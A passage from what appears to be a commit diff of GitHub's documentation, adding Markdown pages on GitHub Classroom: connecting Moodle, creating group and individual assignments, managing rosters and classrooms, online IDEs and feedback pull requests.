classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**.  8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 .../applying-for-a-student-developer-pack.md → ...ion/apply-for-a-student-developer-pack.md 14 ...for-an-educator-or-researcher-discount.md → ...for-an-educator-or-researcher-discount.md 26 content/education/teach-and-learn-with-github-education/index.md 3 ...github-at-your-educational-institution.md → ...github-at-your-educational-institution.md 3 ...ation/using-github-for-your-schoolwork.md → ...ucation/use-github-for-your-schoolwork.md 3 ...-github-in-your-classroom-and-research.md → ...-github-in-your-classroom-and-research.md 5 ...-for-a-student-developer-pack-approved.md → ...-for-a-student-developer-pack-approved.md 3 ...ucator-or-researcher-discount-approved.md → ...ucator-or-researcher-discount-approved.md 20 ...ering-a-repository/enabling-or-disabling-github-discussions-for-a-repository.md 5 content/github/administering-a-repository/index.md 2 content/github/authenticating-to-github/reviewing-your-security-log.md 1 content/github/collaborating-with-issues-and-pull-requests/index.md 74 ...with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request.md 19 ...g-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request.md 10 content/github/creating-cloning-and-archiving-repositories/about-repositories.md 15 content/github/customizing-your-github-workflow/about-github-marketplace.md 2 content/github/getting-started-with-github/git-and-github-learning-resources.md 4 content/github/getting-started-with-github/github-glossary.md 6 content/github/getting-started-with-github/signing-up-for-a-new-github-account.md 1 content/github/index.md 2 ...b/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies.md 25 ...hub/managing-security-vulnerabilities/about-managing-vulnerable-dependencies.md 1 content/github/managing-security-vulnerabilities/index.md 4 ...nerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository.md 3 ...criptions-and-notifications-on-github/managing-notifications-from-your-inbox.md 6 content/github/managing-your-work-on-github/about-issues.md 3 content/github/searching-for-information-on-github/about-searching-on-github.md 5 content/github/searching-for-information-on-github/index.md 114 content/github/searching-for-information-on-github/searching-discussions.md 2 ...ithub/searching-for-information-on-github/searching-issues-and-pull-requests.md 2 ...nd-managing-billing-and-payments-on-github/about-billing-for-github-sponsors.md 4 ...-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts.md 19 ...ing-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship.md 16 ...tting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship.md 4 content/github/setting-up-and-managing-organizations-and-teams/index.md 27 ...and-teams/managing-discussion-creation-for-repositories-in-your-organization.md 25 